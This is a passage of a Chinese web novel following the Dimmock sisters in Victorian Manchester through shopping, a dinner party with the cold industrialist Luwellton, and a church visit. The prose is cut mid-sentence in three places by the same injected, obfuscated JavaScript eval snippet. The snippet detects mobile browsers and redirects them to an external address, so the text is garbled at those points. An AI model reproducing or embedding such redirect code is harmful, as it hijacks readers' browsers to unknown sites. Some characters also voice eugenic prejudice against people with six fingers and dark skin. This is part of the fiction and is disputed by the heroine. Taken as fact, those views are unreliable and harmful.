“安娜,你从未见过那样的情形言语失了分寸情有可原,可你不应该对妹妹这样的咄咄逼人。我一直说要保持一颗善良的心别让坏情绪左右你的大脑。现在闭上嘴去挑一条裙子吧。”狄默奇太太对安娜说。 安娜张嘴又闭上,不甘地转过身向那些堆放在柜台上的布料发泄脾气。 黛芙妮也带了点怨气她闷闷不乐地在伙计的引导下去挑选那些成品长裙。 “黛菲,这件苹果绿很适合你白皙的皮肤。”狄默奇太太说,见她闷着脸又开口,“远离恶便是聪明。” 黛芙妮对母亲露出一个笑容,她拿起那条苹果绿的裙子在身上比画。 “这条也不错,粉色娇俏显露活泼的气质。”狄默奇太太说,“蓝色又和你的眼睛非常适配。” 好不容易从服装店脱离出来,三人早已饥肠辘辘。 在隔壁的马车行租了一辆八成新的单马双轮轻便马车,又通过车行将招一位车夫的事传达出去。 最后雇佣一个临时伙计把她们送回牛津路一百零八号,正好赶上卡丽做好午餐。 狄默奇先生比她们还要早到一些,他对于下午双腿就要失去摆动的机会表示遗憾。 “不爸爸,我们没有车夫你的双腿还有机会体会路面的凹凸不平。”黛芙妮对他说。 狄默奇先生从餐盘里抬起头对她露出一个‘惊喜’的表情。 “别担心,车行告诉我今天下午就能安排几位车夫来应聘。感谢上帝!他们还善良地介绍了几位女佣。”狄默奇太太说,“不过多了一个车夫的位置我在考虑是否不再聘请屋内女仆。” “天呐,太太,这真是一个可怕的决策!”卡丽将烤鸡摆在餐桌中间,心痛地高呼,她无法呼吸般地捂住胸口。 “也许我们可以聘请一个兼职女仆?”黛芙妮提议。 这个想法得到了狄默奇太太和狄默奇先生以及卡丽的赞同。 “只需要在早上和下午过来,大概需要三到四个小时。”卡丽欢快地揣着围裙说。 很快下午才刚开始,狄默奇太太就定下了两个人。 车夫道奇,一个上了年纪的白人,长了一张忠厚老实的脸。 兼职女佣惠特妮,年轻瘦弱的白人姑娘,狄默奇太太瞧她可怜便留下了。 卡丽在他们面前仅仅一瞬就摆起了女管家的谱,黛芙妮趴在通往地下室的台阶栏杆上听她对那两人训话。 “耳边总算没有卡丽的抱怨了,就是苦了那两个新来的佣人。”黛芙妮偷听完对狄默奇太太说。 狄默奇太太算着账本闻言勾起嘴角:“我们该理解老人家的。” 有了新佣人的好处也是立马显现,黛芙妮终于能摆脱熨不完的衣服,可以空闲地坐在壁炉边阅读书籍。 安娜也能心无旁骛地摆弄自己的新裙子,幻想明晚的聚会。 “安娜我很高兴你有丰富的想象力,但是你似乎忘了你父亲的年纪也忘了明天的主人是一位比他还大的老人。”狄默奇先生烦躁地放下书籍对制造噪声的安娜说。 “爸爸你说得可不对,”安娜反驳他,“我是为你和妈妈撑脸面呢!” 狄默奇先生吐出一口气夹着书本起身:“我想起来我还有一封信要写。” “给谁写信?”狄默奇太太问。 “你哥哥一家和你妹妹一家,我们得告诉他们这儿的地址。”狄默奇先生说,“说来不止一封信了。” 第二晚黛芙妮总算能正常入眠,舒适地享受了柔软的床铺后她摇醒铃铛等待佣人到来。 早晨来送热水的换成了惠特妮,她很拘谨不多说一句没必要的话,做起事来很干脆一个洗漱的时间黛芙妮就对她有了一个好印象。 卡丽依旧掌管着重中之重的厨房,她将烧水、搬运每日食材东西的活计交给了道奇,让他每天早半个时辰来报到。 没活的时候道奇就拿个小板凳坐在后院的屋檐下等待雇主家的吩咐要么给马修修蹄子、给马车上点油漆。 惠特妮上午只来两个小时,在她做完清洗食材、端送热水、打扫卫生和洗盘子、洗衣服的活后才能离开;晚餐前再来两小时做些活计。 今日狄默奇先生早退一个小时为去艾肯先生家参加聚会做准备。 黛芙妮换上真丝薄纱巴斯尔裙,裙子面料上绣满了大量华丽的花卉藤蔓,领口、袖口与腰部点缀着暗粉色条纹丝绸蝴蝶结,上衣与裙子的下摆均饰有细腻的真丝褶裥,带有蕾丝边饰。 为了搭配服装她在盘起的蓬松的金发上别了一根漂亮的蕾丝羽毛。 比起她较为单一的主色调,安娜选了一条深紫色的塔夫绸礼服。 一张桃心脸配上遗传狄默奇太太的棕色头发,虽然远不如黛芙妮美丽但她格外适合深色和夸张的首饰,这一身打扮也有一番风情。 坐上马车,道奇尽职地控制马匹匀速稳定地前行。 艾肯先生住在维多利亚公园附近,那儿狄默奇一家谁都没去过,途经的街道更是一片陌生,四人怼着两侧的窗户将每一处都看仔细,尽可能的对曼彻斯特再多了解一点。 这边的街道大部分都摆脱了泥路,车轮和马蹄在砖面上行驶的声音格外清晰。 “艾肯先生的住宅和我们在利物浦的房子可真像,同样前院有个小花园。”黛芙妮说。 “半独立式住宅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399919|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比一百零八号舒服多了,至少我不用为偶尔不知道从哪里传来的声音吓得跳脚。”安娜飞快地说。 狄默奇先生在确定妻女都整理完毕后才上前轻敲住宅大门。 “老朋友你终于来了。”艾肯先生打开门和狄默奇先生握手。 艾肯先生的妻子是个胖胖的特别慈祥的女人,她笑眯眯地将女眷们客气地请进会客室。 “我要给你们介绍一下,”走在后面的艾肯先生关上门后对狄默奇一家说,“坐在沙发边的是爱格伯特·比奇,我的同事。旁边的是他的妻女,儿子在牛津读书。” “靠窗的是李维·毕晓普,他是高级律师。”艾肯先生说,“和他交谈的是康斯坦丁·路威尔顿,金融家。” 此刻狄默奇一家已经吸引所有人的注意了,只不过艾肯先生不开口他们不好主动上前打扰。 黛芙妮一进来的时候就有种被人盯上的感觉,现在终于知道那种感觉从何而来又是属于谁的。 皮肤白皙、身材魁伟、黑发一丝不苟地往后拢,是极其英俊的面孔。 可比起他的外表最让人注意的是气质,他就像是雪与风创造的,没人能靠近他,也没人能引导他即使是一个最简单的笑。 黛芙妮习惯与别人交谈,接收到的大部分都是善意的目光,可路威尔顿先生的注视让她觉得很不自在,甚至有种拘谨的感觉。 他笔直站在红丝绒窗帘边,单手插兜,一双眼睛注视这边。 在听到艾肯先生说他是金融家的时候,她主动为对方找了借口认为这是职业带来的影响而非恶意,这才松开眉头。 好在对方很快就挪开了眼睛与他的毗邻继续交谈起来。 艾肯先生拍拍手让那些早已心不在焉的客人看过来,向他们正式介绍了狄默奇一家:“这是我的老朋友和他的妻女,约翰·狄默奇,曾在利物浦大学就职现在是《哲学会刊》的学术顾问。” 男人们很快围在一起与狄默奇先生握手,黛芙妮被艾肯先生的女儿握住手臂带着往旁边走。 再度被那种‘阔别已久’的热情包围,让她产生一种曼彻斯特和利物浦也没什么区别的错觉。 艾肯先生的女儿叫凯莉,是个很文气的姑娘脸颊两侧有很多雀斑让她看起来有几分娇憨。 她将黛芙妮和安娜带到柱子边远离聚集在壁炉前的男士们和坐在沙发上的太太们。 安娜一进屋就没少打量艾肯先生的朋友,肉眼可见的有些失望。 “那是谁?脖子伸得比鹅还长,下巴抬得那么高。”安娜指着坐在单人沙发上,听男人们谈话的姑娘问凯莉。 黛芙妮伸手按在安娜的胳膊上提醒她说话不要那么刻薄,怕凯莉对她们有不好的印象她圆了一句:“是啊,那位像天鹅一样高贵的小姐是比奇先生的女儿吗?” “是的,她叫爱丽丝,平时总喜欢一个人待着。”凯莉说。 “我看是势利眼才对,一个劲地往男人身上凑。”安娜小声地说了一句。 虽然黛芙妮对姐姐尖酸的性子很熟悉,但每次在外社交她还是为对方提心吊胆地生怕说出什么不可挽回的错误。 碍于安娜是她姐姐,她从来都不好管教她,只能提醒她。 而对付她最好的办法就是搬出长辈:“安娜,妈妈在看我们呢。” 黛芙妮和安娜向狄默奇太太小弧度挥手,凯莉点头表达尊敬。 安娜撇嘴不再盯着爱丽丝转而将目光放在在场唯一的年轻男士身上:“那个路威尔顿先生长得可真好,凯莉你说说他具体是做什么的?” 5. 交谈 “路威尔顿先生是曼彻斯特最大的工厂主之一。”凯莉说。 “那他一定非常有钱了。”安娜多看了他几眼,突然变得兴奋,“噢!他看过来了!” 这话把黛芙妮和凯莉吓了一跳,凯莉侧过身低头慌乱地瞧起手套来。 黛芙妮维持端庄得体的仪态对路威尔顿先生露出一点笑意。 路威尔顿先生收回目光,不知道和艾肯先生说了什么他们结伴走过来。 “他怎么过来了?”安娜惊讶地扶住晃动的耳坠,“凯莉,我看上有什么问题吗?” 凯莉自己都变得紧张不自在地以为议论对方被发现,她不安地对安娜摇头。 “女士们,晚上好。”艾肯先生将路威尔顿先生介绍给黛芙妮和安娜,“这是康斯坦丁·路威尔顿先生。康斯坦丁,这两位是狄默奇先生的女儿,安娜和黛芙妮。” 路威尔顿先生站在黛芙妮面前,他神情冷淡、只一双眼睛动了两下:“夜安。” 近距离被人盯着,还是那么有压迫性的眼神黛芙妮有些词穷,很有压力地想要躲避。 “说来康斯坦丁也曾去过利物浦,也许有那么一瞬间你们还曾擦肩而过。”艾肯先生对黛芙妮和安娜说。 “真的吗?路威尔顿先生去过利物浦的哪里?”安娜高兴地问。 “码头。”他说。 安娜想再说点什么又毫无头绪,黛芙妮保持微笑没打算开口。 “安娜、黛芙妮,你们在这儿住得习惯吗?”艾肯先生主动制造话题,不让气氛冷淡下去。 “恕我直言,这儿的人都很古怪,噢,当然我不是说你们!”安娜苦恼地摇晃头部,“我是说在牛津路附近的一些——你们知道的,他们冷漠,嗯——总之很——古怪。” 艾肯先生笑出了声:“可怜的安娜,我还以为你会喜欢曼彻斯特。其实它也有很多优点只要你换个角度看。我记得你是出生在这里的?” 安娜扯了一下嘴角。 黛芙妮对这个话题很感兴趣,也正好是她想问艾肯先生的,所以这会儿又愿意开口了:“比如?” “冷漠也许是有边界感,高傲可能代表素质高尚不乐意给人添麻烦。”艾肯先生说。 “先生你这是谬论。”黛芙妮说。 “黛芙妮,你不赞同我对曼彻斯特的看法吗?”艾肯先生问。 “我不赞同你对冷漠和高傲的另一种看法,但关于曼彻斯特也许我和安娜确实看得太片面,不过好消息是我大概有很长一段时间可以用来研究它。”黛芙妮说。 “我迫切地希望你能尽快改变那样的想法,毕竟这太不公平了不是吗?”艾肯先生故作不忿地说,“你说是不是,康斯坦丁。” 黛芙妮抬眼,琢磨他会说出什么样的话来。 “曼彻斯特确实是一座不热络的城市,但我认为没什么不好的。”路威尔顿先生说,“当然每个人的想法不一样也无需强行改变。” 黛芙妮下意识地点头:“路威尔顿先生很开明。” “别以为我不知道你在说我爱较劲。”艾肯先生嚷嚷。 插不上他们话的安娜急了,她不管不顾的像头牛一样冲进来不考虑给周围带来的惊吓:“路威尔顿先生可是结婚了?” 黛芙妮垂下脑袋脸色一变,她深吸一口气,太阳穴猛地弹跳起来。 艾肯先生和凯莉吃惊地看向安娜。 “并未。”被提问的主人公倒是没多做思考就回答了。 艾肯先生很快反应过来:“安娜,你还是这样的直爽可爱。” 安娜听不出隐晦的好坏话,真情实意地收下,她勾起嘴角眼神有些自得:“艾肯先生,我倒觉得凯莉文静优雅,更让人喜爱。” 感谢上帝,她的脑子还没完全被虚荣啃食殆尽,黛芙妮伸手揉了一把太阳穴。 “不如坐下?”路威尔顿先生看了一眼黛芙妮说。 安娜还在不停地找话题和他搭话,黛芙妮盯了她好几眼可惜对方什么都没接受到。 要是再让安娜说下去狄默奇家的名声怕是被糟蹋完了。 “说起来,”黛芙妮提高音量将安娜的话截住,“昨天我和妈妈、安娜意外走到一片街区,我一直好奇那是什么地方。” 被她抢话的安娜很不高兴,但对那个地方又有些在意和恐惧,憋住了嘴巴也想听听几位本地人的说法。 “你说的是哪里?”艾肯先生问。 “就在一座石桥对面,红砖被烟熏成黑色,那儿的居民也不说话,我和妈妈大概猜想过是工人住的地方。”黛芙妮回忆道。 “是不是在基督教堂附近?”凯莉问。 “是的。” “噢,那一定是休姆街区和乌鸦窝的交界处,但其实在我们看来两者没有任何区别。”凯莉说。 “那些人打扰你们了?”艾肯先生问。 “是——”安娜想到那对母女刚想说是的,被黛芙妮严肃的表情一惊转成,“没有。他们根本不说话,当然我们也没有。那个地方太可怕了,乌糟糟臭烘烘的!” 立马,安娜又对自己害怕黛芙妮的事气到了,她不爽地故意说出来:“我们还在那儿见到了一对怪异的母女。” “安娜,你今天特别活跃,我想一定是艾肯先生热情的招待让你放松了因搬到新地方而紧绷的心神,”黛芙妮特意扬起笑提醒她说,“只是这些小事怎么好继续浪费两位先生和凯莉的时间呢。” “噢,天呐,你们也这么想吗?”安娜可怜兮兮地看向艾肯先生和路威尔顿先生。 “不,你说吧。”艾肯先生只能回答。 路威尔顿先生基本不发表意见,很少打开他金贵的嘴唇,总是沉默地坐在那儿偏偏所有人又无法忽视他。 安娜想和他拉近距离可看他那副生人勿近的样子又起了胆怯的心理,好在艾肯先生和凯莉愿意听她继续说,至于她的妹妹她总是故意忽略她。 “那个女孩很可怕!”安娜压着嗓子说,故意营造一种神秘的气氛直到把艾肯先生和凯莉吊的不行才告诉他们,“她有六根手指。” 果然不出她所料,凯莉吓得发出一道尖细又短小的惊呼,艾肯先生也皱起眉毛,只可惜还有两人面无表情。 她的妹妹黛芙妮和路威尔顿先生。 安娜不甘心地对路威尔顿先生说:“先生,你不觉得这很可怕吗?” 路威尔顿先生还没回答,吓到的凯莉却说:“我在书上看到过六指者被纳入为‘退化人种’范畴,就像那些黑皮肤的人一样,是血脉受到污染的证据。” “我认为,”安娜说,“生理缺陷必然伴随道德缺陷。” “这样的人并不多见,至少我这么多年也未曾见过一个。”艾肯先生镇定下来,“不过我想,只要是有选择谁都不愿意得这样的毛病。” “先生,我和您一样的想法。”黛芙妮欣慰地松下肩膀,“那个姑娘看上去才七八岁,也许不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399920|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止。但我想,她的道德缺陷又怎么比得过那些歧视她的人呢,可别人却四肢健全。” “黛芙妮。”艾肯先生对她耸起眉头,弯起嘴角,“看来你认为她是无辜的。” “我确实不知道她有犯什么必须和别人不一样的错误。”黛芙妮说,内心也很坚定这种想法。 安娜不高兴别人反驳她,为了给自己拉个支持者她又将目光放在路威尔顿先生身上:“路威尔顿先生说说你的想法吧?” “我没什么想法。”他简单直白地说,然后将脑袋偏移摆出拒绝交谈的信号。 安娜这下是彻底不爽快了,而坐在一边的爱丽丝终于忍不住过来加入他们的讨论。 “你们在说什么?介意和我说说吗?” 虽然安娜不喜欢她但谁让她现在急需一点支持,于是很利索地将这件事说给她听。 爱丽丝也不负她的期望,露出一个十分厌恶的表情:“这有什么好讨论的。他们不仅外表有异就是品行都非常的差,这类人都以偷窃为生,即使生下来什么也不懂也注定会走上罪恶的道路。” “我确实在书上阅读过关于他们的生活,也确实有不少人以偷东西为生还有些人甚至会持刀抢劫。”凯莉犹犹豫豫地发表自己的意见,“要是我遇到这样的人一定会远远地躲开,太可怕了。” “导致他们以偷盗为生最主要的原因还是外人的歧视和排挤,如果所有人都认为这是一种‘遗憾的缺陷’而非‘道德的污点’,我想他们能和正常人一样生活。”黛芙妮说。 “那只是你认为。”爱丽丝毫不客气地说,“你和他们接触过吗?又有什么接触过的人站出来为他们说话吗?没有。” 黛芙妮一时想不到反驳的理由,她将目光放到对这件事保持温和态度的艾肯先生身上,希望他说几句,可惜他活了这么多年还从未接触过这样的人也说不出什么实质性的证据。 接着她又将目光放在唯二刚刚没有明确站在另一边的路威尔顿先生身上,期望他能站出来说一句好话。 “您认为呢?”黛芙妮问。 路威尔顿先生盯着她开口:“别把人看得太片面也别看得太复杂。”接着他又看了眼爱丽丝。 黛芙妮蹙眉,思考他的意思。 “不可否认的是,这类人在道德上几乎全军覆没。”爱丽丝仍然保持她那股高傲的劲。 黛芙妮不高兴,但苦于没证据,只能咬唇生闷气。刚刚路威尔顿先生的潜台词不就是说她将人看得太简单了吗,虽然他也表明了爱丽丝过激的看法但说到底他也并不支持她的观点。 “艾肯太太。”路威尔顿先生抬起眼睛,微微点头。 “远远地就听见你们聊得热络真是不忍心打断,可美味的烤羊排却等不及要上桌了。”艾肯太太将手搭在她丈夫的肩上,笑容可掬地招呼众人去餐厅就座。 安娜对于爱丽丝赢了黛芙妮这件事又高兴又不高兴,但对她的态度微微有些软化,具体表现在主动和对方点头示意。 黛芙妮却失去了来时的大部分好心情,她走在最后面慢吞吞地挪去餐厅。 路威尔顿先生走得不紧不慢正好落后她半步,皮鞋踩在地板上均匀的声音让黛芙妮起了一点迁怒的意思。 她先是假装找人,在看到路威尔顿先生的时候又摆出略微吃惊的表情,忍不住对他说:“路威尔顿先生?我以为您步子跨得大早早落座了。”然后又去看餐桌,“艾肯先生他们都在等您了。” 6. 初印象 “是我打扰你了?”路威尔顿先生出乎意料地问她。 “不!您真会开玩笑。”黛芙妮客气地说。 两人正好走进餐厅,黛芙妮在艾肯太太的指引下在她右手边第二个位置落座,一抬眼和正对面的爱丽丝对上,对方露出礼节性的微笑。 黛芙妮左边是凯莉,右边是路威尔顿先生。 还没开始正式的晚宴,她就有种食不下咽的感觉。 佣人有序的添菜、倒酒、清理骨碟。 区别于艾肯先生那头的热闹黛芙妮这边全靠坐在对面的安娜一个人支撑着。 “这道牡蛎酱鳕鱼让我想起了绍斯波特,噢,时间太久了。”安娜十分怀念,“我记得那是我十岁的时候,为了庆祝我的生日,在一家餐厅吃到了非常肥美鲜嫩的鳕鱼。” “能让你想起这么好的回忆,是这道鳕鱼的荣幸。”艾肯太太和蔼地说。 “是的,因为那天黛菲足足吃了三盘呢!”安娜咯咯地笑出声,“今天你可别辜负艾肯太太的美意。” 黛芙妮刚放下搅和奶油防风草汤的勺子就听到姐姐口无遮拦地把那件事说出来,又尴尬又委屈,艾肯太太他们都没说话似乎在等她给个回应。 “谢谢您,太太。”黛芙妮努力让自己显得毫不在意。 果然她开始前的预感是正确的,就算后面又上了好几道美食,例如烤牛肉配约克郡布丁或是她比较偏爱的鲁昂鸭肉卷都让她失去了良好的胃口。 “我听说你们现在住在牛津路?”比奇太太问。她头发高耸,一张脸寡淡但气质出众,比她女儿的性子柔和些。 “是的,太太。”安娜回她。 “我们以前也住那里。” “以前?那你们现在住到哪里去了?”安娜问。 “现在住在维多利亚公园,就在这儿附近。”比奇太太说。 “牛津路不好吗?”安娜问。 “对于以前的我们来说确实还可以。”爱丽丝说完抬眼观察安娜和黛芙妮的表情,又补了一句,“给你们一句劝告离石桥远些。” “这也是我执意要搬离那儿的理由之一,离贫民窟太近了。”比奇太太说,她面露厌恶。 “是的,我也觉得有些近,我会和爸爸提一提的离那儿远点,这儿确实不错,主要是我们刚来也不了解。”说得这么明显安娜也算是看出了这对母女的‘真实面目’,她说话颠三倒四地想要摆出一副‘狄默奇一家也有能随时搬离牛津路的底气’。 为了增加那种莫名的底气,她终于记起自己不是独生女:“我和黛菲早就说过了要找个有独立院子的地方,可惜这儿谁都没来过,说来牛津路的房子还是艾肯——” “安娜,你嘴边——”黛芙妮笑着指指自己的嘴角。 安娜立刻拿出帕子擦嘴。 为了不被看笑话,黛芙妮接上刚刚安娜的话:“那儿挺好的,虽然没有独立院子可是离市集近,多亏了艾肯先生顾虑周全我们才能在当天就将房子收拾出来。” “我可不敢想要是住得远些,我们那天晚上得有多难过。”黛芙妮又玩笑似的对他们说。 “那儿的集市确实算得上是曼彻斯特最大的市场之一。”凯莉说,“我们家的马车也是那里买的呢。” 晚餐结束后,艾肯夫妇又收拾了几张桌子出来要大家玩牌。 安娜空不下来早早地就坐下了,她要玩惠斯特;另一张桌子则是放的桥牌。 狄默奇先生架不住比奇先生和艾肯先生的热情在桥牌那桌坐下,他们又喊上了路威尔顿先生,不太会玩的毕晓普先生饶有兴趣地站在他们身侧学习琢磨。 黛芙妮婉拒了艾肯太太的邀请在沙发上坐下。 比奇太太爱玩牌她不推脱,凯莉和爱丽丝也加入其中。 一时间就只听到安娜高兴的笑声和输时气愤的喊叫,本来在和艾肯太太说话的狄默奇太太受不了的起身站到安娜身后,这下安娜才冷静下来。 艾肯太太怕黛芙妮无趣便给她拿了一本小说。 翻开书本只是想给自己找点事做,看着看着也看进去了,等她再抬头的时候身边的艾肯太太换成了路威尔顿先生。 见对方一直盯着她手中的小说,即使心里不大乐意和他说话但出于礼貌还是要问上一句:“先生,您也对这本书感兴趣吗?” “不。”他双腿交叠坐在单人沙发上,从口袋里拿出金烟盒问,“介意吗?” 其实是介意的,信奉基督的黛芙妮和狄默奇太太都反对吸烟和酗酒,但路威尔顿先生不是狄默奇先生,他们关系并不熟络。 “不介意。”黛芙妮说,然后又低下头继续翻阅书本。 等了一会儿也没见对方再次开口,黛芙妮彻底不管他了。 这场宾主尽欢的聚会在路灯都兢兢业业工作了好几个小时后才结束。 安娜还沉浸在输牌的沮丧中,一坐上马车就在那儿发泄她的不服气:“我第一眼见爱丽丝就觉得她过于精明,果不其然!爸爸你都不知道她今晚赢了多少!” “看来你这个月的零花钱都没了。”狄默奇先生放松地靠在车壁上闭目养神。 “还是先说说你的问题吧。”狄默奇太太对安娜开口,“你怎么能在这样的场合大吵大闹的?餐桌上你在那儿夸夸其谈不说还将黛菲也扯进去,安娜我平日里都是怎么教育你的。” 安娜心虚地低头,嘴巴却不肯服软:“打牌只是一时高兴而已,至于餐桌上我又哪里说错了?” “你不该将什么黛菲一口气吃三盘鳕鱼的事说出来!”狄默奇太太有些生气了,但她还不忘安慰黛芙妮,“当然亲爱的,你很好。” “你们就知道说我,从来都不说黛菲!”安娜喊道。 “但凡你有黛菲的一半聪明我都用不着对你浪费口舌!”狄默奇先生睁开眼睛严厉地盯着她。 安娜被他说哭了,狄默奇太太有些心软却也不再理她,似乎打定主意要她意识到自己犯了什么错。 至于黛芙妮,更不会特地在私底下去管她了,而且今天爸妈不说她也是要和他们提一提安娜过分的行为。 过了一会儿,狄默奇太太又温和地问黛芙妮:“我瞧见你和路威尔顿先生聊了许久,也许你们成为朋友了?” “朋友?”黛芙妮错愣又觉得好笑,“妈妈,你大概是没看见他对我的嫌弃才对。” “你确定是嫌弃吗?”狄默奇先生有些吃惊和好奇,“你们聊了什么?” “事实上什么也没有,字面上的意思。”黛芙妮说,“在独处的半个小时内他都没有和我说过一句话,只是在那儿不停地抽烟,说来我的鼻子都快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399921|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生毛病了。” “真看不出来他如此高傲。”狄默奇太太惊奇又不太舒服,“不管是按照哪儿的礼仪他都不应该这样冷落一位姑娘。” “可我和他聊过一会儿倒没觉得他有多难以相处,甚至说起一些关于书籍的或是生意上的事他都很有见解而且用词准确、头脑清晰,我还挺喜欢这个年轻人的。”狄默奇先生说。 “那他一定是不喜欢我了。”黛芙妮很快给这件事下了定论,“总之不管他是看不起我还是单纯地看不惯我,我都不会为这件事烦恼。” 安娜耻笑一声,在狄默奇先生严厉的眼神下又恼恨地转过脑袋,手指绞着手帕。 在曼彻斯特的日子和在利物浦没什么不同了,毕竟在哪里不是过呢。 唯一还是令黛芙妮难以接受的是,她在这儿一个朋友都没有。 和安娜处好关系这事在十几年的人生里她尝试过数次最后都失败了,如今她们是最熟悉的陌生人。 和妈妈倒是能说上好半天的话,可黛芙妮心里还是期盼着能有一位新的朋友进入她的生活。 这种渴望在狄默奇先生邀请他新交的朋友来家里吃饭时达到了顶峰。 “这是库克先生。”狄默奇先生好心情地将他的同事兼朋友介绍给他的妻女。 “安德鲁·库克,叫我安德鲁就好。”库克先生脸颊圆圆的,留着一圈络腮胡。 第一眼黛芙妮就对他有个不错的印象,当晚上躺在床上思考理由的时候她是这么认为的——库克先生是第二位她接触到的主动又热情的曼彻斯特人。当然第一位是艾肯先生。 之后的晚餐时间他也确实非常幽默,他还会主动将自己的丑事转换成趣事说出来,逗得黛芙妮哈哈大笑。 他放得开又看得开,不在乎别人拿他当玩笑也不在乎自己主动说些什么。 他让黛芙妮格外想念利物浦的邻居和朋友们。 “当我有一次为排版发愁不知道放些什么内容的时候,我的上司就给了我一个建议,他让我向大众展开一个智力游戏赢得人可以获得五枚英镑,虽然不多但也是个甜头对不对?”库克先生一本正经地说。 “然后呢?您出了什么题目?”黛芙妮问他。 “题目就是——当卢浮宫大火的时候你只能选择一幅画带出来,你选择哪幅?”库克先生说,“黛芙妮,你选择哪幅?” 黛芙妮认真思考了一下:“大概是《圣母之死》?” “你呢,安娜?”库克先生问坐在一旁兴致不高的安娜。 “哪幅最贵就选哪幅。”安娜无趣地说。 库克先生大笑,黛芙妮催促他快点将赢得五英镑的答案说出来。 “最后赢得奖金的答案是,选择离出口最近的一幅。” 狄默奇先生紧跟其后响起笑声,他对黛芙妮说:“黛菲看来你一点也没遗传我机灵的头脑。” “好像爸爸你会这么说似的。”黛芙妮瞅了他一眼。 “我当然会这么说!”狄默奇先生挺起胸,立正自己绝对有颗灵敏的脑袋。 在曼彻斯特的第一个正式的周日,黛芙妮早早就睁开眼睛,她对今天的行程十分期待,也许她会在那儿交到志同道合的朋友。 换上干净整洁的裙子,她和母亲手挽手拒绝马车的帮助一路走向教堂。 7. 惊闻 位于牛津路附近的基督教堂在这天聚集了几乎所有周边的教徒们。 这是难得的几处会出现不同阶级的人坐在一块的地方,在这一刻身份的不平等会被大幅度地削弱。 黛芙妮和母亲是第一次正式来这参加祷告,她们安静地找了一张靠前的长椅坐下,等待一会儿仪式的开始。 渐渐地教堂里的长椅几乎被坐满,黛芙妮身侧来了一对母女,穿着十分朴素身上没有一点首饰。 双方见面谁也没有开口但又都报以微笑相待。 前方右侧的台阶上陆陆续续涌进来一批着装统一的男人,他们表情柔和目视正前方不与周围的人交头接耳。 黛芙妮知道这是要开始了,她拿出《赞美诗集》捧在手心上。 在唱诗班的歌声中牧师持十字架与《圣经》入场,以《诗篇》经文开场,全体诵读认罪祷文。 一整场下来不过四十分钟,离吃午餐的时间还有些距离。 黛芙妮和狄默奇太太没有急着走,她们想了解一下这里每月举办圣餐礼的日子。 隔壁的母女还没离开,有教堂的加持黛芙妮决定再主动一次,她温声细语地和她们搭话,关于圣餐礼的事。 “每月的第一个星期日下午。”这对母女中的母亲说,她很沧桑、说话有种很疲惫的感觉。 “感谢您的帮助,不知道怎么称呼?”狄默奇太太问。 “可以叫我卡彭特太太,这是我的女儿艾乐。”卡彭特太太说,也没有出现反感和抗拒的神情。 有了友好的开头为黛芙妮和狄默奇太太都增添了信心。 “这是我的女儿黛芙妮·狄默奇,我们住在牛津路上离这儿还算方便。”狄默奇太太说。 卡彭特太太的女儿艾乐刚刚还低着头表现冷淡,这会儿才认真打量她们:“看得出来。妈妈我们什么时候走?” “是耽误你们了吗?真是抱歉。”狄默奇太太连忙向她们表达歉意。 听闻的艾乐和卡彭特太太有些迟疑,停止了要离开的举动。 “今天下午才出摊,这会儿还早。”卡彭特太太说,即是讲给女儿听又对黛芙妮母女释放了一些善意。 “你们做些什么生意?”狄默奇太太问。 “支了一个糖饼摊,挣取一点买面包的钱。”卡彭特太太说,聊了几句她发现面前这对穿衣虽然简单但面料不算普通的母女并不是什么傲慢无礼的有钱人,也就愿意多和她们交流几句,“你们是新面孔,至少在过去的几个月里这里来来往往的人中没有出现过。” “是的,我们刚从利物浦搬来。”黛芙妮说。 艾乐有了点兴趣:“我听奥尔斯顿牧师说那有英国数一数二的码头,经常有些黑皮肤、黄皮肤甚至是棕色皮肤的人出现,是真的吗?” “是的,黑皮肤也许来自非洲;黄皮肤大概率是亚洲比如印度;棕色皮肤多数来自拉丁美洲。”黛芙妮说。 艾乐用一种奇怪的眼神看向她,黛芙妮努力地分辨了一会儿觉得那是羡慕和了然。 “你们为什么要搬来这儿?我不是说曼彻斯特不好——”卡彭特太太说。 艾乐打断了她,用聊天以来第一次波动强烈的情绪说:“如果可以我宁愿去南方也不要留在这里。不过对于你们这类人来说在哪里都过得很好。” “南方?你是说伦敦或者肯特郡?”黛芙妮故意忽略她的后半句。 艾乐愣了一下:“肯特郡?只要是南方哪里都比这里好。” “可我父亲的一位朋友却和我说曼彻斯特是一座很好的城市。”黛芙妮说。 “那是因为你们这样的人永远不会往东南方向看。”艾乐说。 说实话来这一周了,黛芙妮和家人也只摸清了牛津路附近的地块以及一些城市著名景点的位置,有些远的地方她们完全没有伸手触碰。 不过东南方向似乎是她们下火车经过的那片区域。 “你是指工厂吗?”黛芙妮问。 